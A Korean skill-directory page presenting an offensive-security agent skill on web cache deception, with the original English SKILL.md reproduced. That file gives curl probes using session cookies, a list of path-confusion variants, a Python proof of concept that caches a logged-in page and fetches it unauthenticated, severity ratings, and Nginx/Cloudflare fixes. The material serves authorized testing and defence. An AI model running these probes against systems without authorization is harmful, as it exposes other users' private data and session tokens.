본문으로 건너뛰기
Skillpedia
보안6.5k · #14052

cache-deception

하는 일

이 안내서는 CDN이나 프록시가 로그인한 사용자의 비공개 페이지를 공개 페이지처럼 저장하는 웹 캐시 기만을 다룹니다. 웹 앱 앞에 캐시를 두는 팀을 위한 가이드입니다.

사용하는 경우

  • ✓사이트가 파일 확장자나 경로 패턴으로 페이지를 캐시하는 CDN이나 프록시를 쓸 때.
  • ✓허가된 테스트에서 비공개 페이지가 정적으로 보이는 URL 아래 캐시되는지 확인하고 싶을 때.
  • ✓팀이 로그인한 사용자 콘텐츠의 캐시 규칙을 검토하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 사이트는 앱 앞에 CDN을 씁니다. 개인 계정 페이지가 정적으로 보이는 주소 아래 캐시될 수 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 테스트 계정으로 가짜 정적 경로를 붙인 계정 페이지를 요청하고, 캐시 헤더를 확인한 뒤, 인증되지 않은 방문자가 받는 내용과 비교합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Web Cache Deception

Reverse proxies / CDNs cache based on URL extension or path patterns (.css, .jpg, /static/). If the origin server returns the authenticated page for any path, attacker tricks the cache into storing private content under a public-cacheable URL.

1. The classic

GET /account.css     ← attacker visits, in their own session
                       Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
                       Cache stores response keyed on /account.css

GET /account.css     ← victim or any unauth visitor
                       Cache HIT → serves the attacker-cached, victim-data response

2. Probe the deception

# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'

# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)

# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies

If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.

3. Variants

Variant Path
.css suffix /account/foo.css
.jpg suffix /account.jpg
/static/ prefix /static/../account
Multiple slashes /account//.css
URL-encoded ; /account%3B.css
Trailing semi-segment /account;foo.css
Double extension /account.html.css
Path parameter /account.css/anything

Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.

4. Cache poisoning vs cache deception

  • Deception — attacker forces cache of victim's data, served to others
  • Poisoning — attacker injects content into a normal cached resource

This skill covers deception. Cache poisoning is a separate (overlapping) class.

5. Tools

  • Param Miner (Burp plugin) — unkeyed param discovery
  • webcache.cyberxecution.com for quick suffix probes
  • Manual via Burp Repeater

6. PoC

import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'

# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")

# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text   # adjust to whatever marker your auth page has

7. Severity

Bug Severity
Cache deception exposing PII (email, name, balance) Critical 8-9
Cache deception of session token Critical 9.8 (ATO)
Cache deception of public-only data Informational
Cache poisoning of script content Critical 9.0 (RCE-adjacent in browser context)

8. Defender

# Nginx — prefix-based cache keys, NOT extension-based
location / {
  proxy_pass http://origin;
  proxy_cache_key "$scheme$proxy_host$uri";
  add_header Cache-Control "private, no-store" always;
}

# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension

Apps should send Cache-Control: private, no-store on every authenticated response to defeat both deception and poisoning.

Cross-references

  • Upstream catalog: skills/_corpus/payloads/Web Cache Deception/
  • Smuggling overlap: skills/exploit/web/smuggling.md

Known exemplars

  • Omer Gil's original PayPal disclosure (2017)
  • Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS
  • 2023: notable Stripe disclosure of cache deception leading to PII leak
자주 묻는 질문

위험은 무엇인가요?

비공개 페이지가 저장되어, 같은 주소를 쓰는 다른 방문자에게 보일 수 있습니다.

어떤 경로가 테스트되나요?

비공개 페이지에 가짜 정적 확장자나 접두사를 붙인 경로를 테스트한다고 안내서는 설명합니다.

어떻게 고치나요?

로그인했거나 비공개인 응답은 절대 저장하지 않도록 캐시 규칙을 설정합니다.

상세 정보

작성자의 원본 설명

Web cache deception — trick CDN/proxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14052
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬